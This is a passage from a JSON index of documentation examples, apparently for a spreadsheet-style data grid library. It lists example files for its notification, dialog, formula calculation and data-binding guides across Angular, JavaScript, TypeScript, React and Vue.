"exampleTitle": "Standard example", - "docPermalink": "/notification", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/notification/javascript/example1.js", - "file": "guides__dialog__notification__javascript__example1.js.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/notification", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/notification/react/example1.tsx", - "file": "guides__dialog__notification__react__example1.tsx.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/notification", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/notification/javascript/example1.ts", - "file": "guides__dialog__notification__javascript__example1.ts.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/notification", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/notification/vue/example1.vue", - "file": "guides__dialog__notification__vue__example1.vue.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/notification", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/notification/angular/example2.ts", - "file": "guides__dialog__notification__angular__example2.ts.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example2", - "exampleTitle": "Toolbar actions (inventory-style)", - "docPermalink": "/notification", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/notification/javascript/example2.js", - "file": "guides__dialog__notification__javascript__example2.js.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example2", - "exampleTitle": "Toolbar actions (inventory-style)", - "docPermalink": "/notification", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/notification/react/example2.tsx", - "file": "guides__dialog__notification__react__example2.tsx.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example2", - "exampleTitle": "Toolbar actions (inventory-style)", - "docPermalink": "/notification", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/notification/javascript/example2.ts", - "file": "guides__dialog__notification__javascript__example2.ts.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example2", - "exampleTitle": "Toolbar actions (inventory-style)", - "docPermalink": "/notification", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/notification/vue/example2.vue", - "file": "guides__dialog__notification__vue__example2.vue.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example2", - "exampleTitle": "Toolbar actions (inventory-style)", - "docPermalink": "/notification", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example1.ts", - "file": "guides__dialog__dialog__angular__example1.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example1.js", - "file": "guides__dialog__dialog__javascript__example1.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example1.tsx", - "file": "guides__dialog__dialog__react__example1.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example1.ts", - "file": "guides__dialog__dialog__javascript__example1.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example1.vue", - "file": "guides__dialog__dialog__vue__example1.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example2.ts", - "file": "guides__dialog__dialog__angular__example2.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example2", - "exampleTitle": "Plain text content", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example2.js", - "file": "guides__dialog__dialog__javascript__example2.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example2", - "exampleTitle": "Plain text content", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example2.tsx", - "file": "guides__dialog__dialog__react__example2.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example2", - "exampleTitle": "Plain text content", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example2.ts", - "file": "guides__dialog__dialog__javascript__example2.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example2", - "exampleTitle": "Plain text content", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example2.vue", - "file": "guides__dialog__dialog__vue__example2.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example2", - "exampleTitle": "Plain text content", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example3.ts", - "file": "guides__dialog__dialog__angular__example3.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example3", - "exampleTitle": "HTML content", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example3.js", - "file": "guides__dialog__dialog__javascript__example3.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example3", - "exampleTitle": "HTML content", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example3.tsx", - "file": "guides__dialog__dialog__react__example3.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example3", - "exampleTitle": "HTML content", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example3.ts", - "file": "guides__dialog__dialog__javascript__example3.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example3", - "exampleTitle": "HTML content", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example3.vue", - "file": "guides__dialog__dialog__vue__example3.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example3", - "exampleTitle": "HTML content", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example4.ts", - "file": "guides__dialog__dialog__angular__example4.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example4", - "exampleTitle": "Template types", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example4.js", - "file": "guides__dialog__dialog__javascript__example4.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example4", - "exampleTitle": "Template types", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example4.tsx", - "file": "guides__dialog__dialog__react__example4.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example4", - "exampleTitle": "Template types", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example4.ts", - "file": "guides__dialog__dialog__javascript__example4.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example4", - "exampleTitle": "Template types", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example4.vue", - "file": "guides__dialog__dialog__vue__example4.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example4", - "exampleTitle": "Template types", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example5.ts", - "file": "guides__dialog__dialog__angular__example5.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example5", - "exampleTitle": "Background variants", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example5.js", - "file": "guides__dialog__dialog__javascript__example5.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example5", - "exampleTitle": "Background variants", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example5.tsx", - "file": "guides__dialog__dialog__react__example5.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example5", - "exampleTitle": "Background variants", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example5.ts", - "file": "guides__dialog__dialog__javascript__example5.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example5", - "exampleTitle": "Background variants", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example5.vue", - "file": "guides__dialog__dialog__vue__example5.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example5", - "exampleTitle": "Background variants", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example6.ts", - "file": "guides__dialog__dialog__angular__example6.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example6", - "exampleTitle": "Content background", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example6.js", - "file": "guides__dialog__dialog__javascript__example6.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example6", - "exampleTitle": "Content background", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example6.tsx", - "file": "guides__dialog__dialog__react__example6.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example6", - "exampleTitle": "Content background", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example6.ts", - "file": "guides__dialog__dialog__javascript__example6.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example6", - "exampleTitle": "Content background", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example6.vue", - "file": "guides__dialog__dialog__vue__example6.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example6", - "exampleTitle": "Content background", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example7.ts", - "file": "guides__dialog__dialog__angular__example7.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example7", - "exampleTitle": "Dialog accessibility", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example7.js", - "file": "guides__dialog__dialog__javascript__example7.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example7", - "exampleTitle": "Dialog accessibility", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example7.tsx", - "file": "guides__dialog__dialog__react__example7.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example7", - "exampleTitle": "Dialog accessibility", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example7.ts", - "file": "guides__dialog__dialog__javascript__example7.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example7", - "exampleTitle": "Dialog accessibility", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example7.vue", - "file": "guides__dialog__dialog__vue__example7.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example7", - "exampleTitle": "Dialog accessibility", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/dialog/angular/example8.ts", - "file": "guides__dialog__dialog__angular__example8.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example8", - "exampleTitle": "Show and hide dialog", - "docPermalink": "/dialog", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example8.js", - "file": "guides__dialog__dialog__javascript__example8.js.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example8", - "exampleTitle": "Show and hide dialog", - "docPermalink": "/dialog", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/dialog/react/example8.tsx", - "file": "guides__dialog__dialog__react__example8.tsx.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example8", - "exampleTitle": "Show and hide dialog", - "docPermalink": "/dialog", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/dialog/javascript/example8.ts", - "file": "guides__dialog__dialog__javascript__example8.ts.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example8", - "exampleTitle": "Show and hide dialog", - "docPermalink": "/dialog", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/dialog/vue/example8.vue", - "file": "guides__dialog__dialog__vue__example8.vue.json", - "breadcrumb": [ - "Dialog" - ], - "guide": "guides/dialog/dialog/dialog.md", - "guideTitle": "Dialog", - "exampleId": "example8", - "exampleTitle": "Show and hide dialog", - "docPermalink": "/dialog", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-custom-functions.js", - "file": "guides__formulas__formula-calculation__javascript__example-custom-functions.js.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-custom-functions", - "exampleTitle": "Demo: custom COMMISSION function", - "docPermalink": "/formula-calculation", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/react/example-custom-functions.tsx", - "file": "guides__formulas__formula-calculation__react__example-custom-functions.tsx.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-custom-functions", - "exampleTitle": "Demo: custom COMMISSION function", - "docPermalink": "/formula-calculation", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-custom-functions.ts", - "file": "guides__formulas__formula-calculation__javascript__example-custom-functions.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-custom-functions", - "exampleTitle": "Demo: custom COMMISSION function", - "docPermalink": "/formula-calculation", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/vue/example-custom-functions.vue", - "file": "guides__formulas__formula-calculation__vue__example-custom-functions.vue.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-custom-functions", - "exampleTitle": "Demo: custom COMMISSION function", - "docPermalink": "/formula-calculation", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-data-grid.js", - "file": "guides__formulas__formula-calculation__javascript__example-data-grid.js.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-data-grid", - "exampleTitle": "Data grid example", - "docPermalink": "/formula-calculation", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/react/example-data-grid.tsx", - "file": "guides__formulas__formula-calculation__react__example-data-grid.tsx.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-data-grid", - "exampleTitle": "Data grid example", - "docPermalink": "/formula-calculation", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-data-grid.ts", - "file": "guides__formulas__formula-calculation__javascript__example-data-grid.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-data-grid", - "exampleTitle": "Data grid example", - "docPermalink": "/formula-calculation", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/vue/example-data-grid.vue", - "file": "guides__formulas__formula-calculation__vue__example-data-grid.vue.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-data-grid", - "exampleTitle": "Data grid example", - "docPermalink": "/formula-calculation", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions1.js", - "file": "guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions1", - "exampleTitle": "Demo: plain-value named expression", - "docPermalink": "/formula-calculation", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/react/example-named-expressions1.tsx", - "file": "guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions1", - "exampleTitle": "Demo: plain-value named expression", - "docPermalink": "/formula-calculation", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions1.ts", - "file": "guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions1", - "exampleTitle": "Demo: plain-value named expression", - "docPermalink": "/formula-calculation", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/vue/example-named-expressions1.vue", - "file": "guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions1", - "exampleTitle": "Demo: plain-value named expression", - "docPermalink": "/formula-calculation", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions2.js", - "file": "guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions2", - "exampleTitle": "Demo: formula-based named expressions", - "docPermalink": "/formula-calculation", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/react/example-named-expressions2.tsx", - "file": "guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions2", - "exampleTitle": "Demo: formula-based named expressions", - "docPermalink": "/formula-calculation", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example-named-expressions2.ts", - "file": "guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions2", - "exampleTitle": "Demo: formula-based named expressions", - "docPermalink": "/formula-calculation", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/vue/example-named-expressions2.vue", - "file": "guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example-named-expressions2", - "exampleTitle": "Demo: formula-based named expressions", - "docPermalink": "/formula-calculation", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/formulas/formula-calculation/angular/example1.ts", - "file": "guides__formulas__formula-calculation__angular__example1.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formula-calculation", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example1.js", - "file": "guides__formulas__formula-calculation__javascript__example1.js.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formula-calculation", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/react/example1.tsx", - "file": "guides__formulas__formula-calculation__react__example1.tsx.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formula-calculation", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/formulas/formula-calculation/javascript/example1.ts", - "file": "guides__formulas__formula-calculation__javascript__example1.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formula-calculation", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/formulas/formula-calculation/vue/example1.vue", - "file": "guides__formulas__formula-calculation__vue__example1.vue.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formula-calculation", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/formulas/formula-calculation/angular/example2.ts", - "file": "guides__formulas__formula-calculation__angular__example2.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example2", - "exampleTitle": "Data grid example (2)", - "docPermalink": "/formula-calculation", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/formulas/formula-calculation/angular/example3.ts", - "file": "guides__formulas__formula-calculation__angular__example3.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example3", - "exampleTitle": "Demo: plain-value named expression (2)", - "docPermalink": "/formula-calculation", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/formulas/formula-calculation/angular/example4.ts", - "file": "guides__formulas__formula-calculation__angular__example4.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example4", - "exampleTitle": "Demo: formula-based named expressions (2)", - "docPermalink": "/formula-calculation", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/formulas/formula-calculation/angular/example5.ts", - "file": "guides__formulas__formula-calculation__angular__example5.ts.json", - "breadcrumb": [ - "Formulas", - "Formula calculation" - ], - "guide": "guides/formulas/formula-calculation/formula-calculation.md", - "guideTitle": "Formula calculation", - "exampleId": "example5", - "exampleTitle": "Demo: custom COMMISSION function (2)", - "docPermalink": "/formula-calculation", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/angular/example10.ts", - "file": "guides__getting-started__binding-to-data__angular__example10.ts.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example10", - "exampleTitle": "Understand binding as a reference", - "docPermalink": "/binding-to-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/binding-to-data/javascript/example10.js", - "file": "guides__getting-started__binding-to-data__javascript__example10.js.json", - "breadcrumb": [ - "Getting Started", - "Binding to data" - ], - "guide": "guides/getting-started/binding-to-data/binding-to-data.md", - "guideTitle": "Binding to data", - "exampleId": "example10", - "exampleTitle": "Understand binding as a reference", - "docPermalink": "/binding-to-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/binding-to-data/react/example10.tsx", - "file": 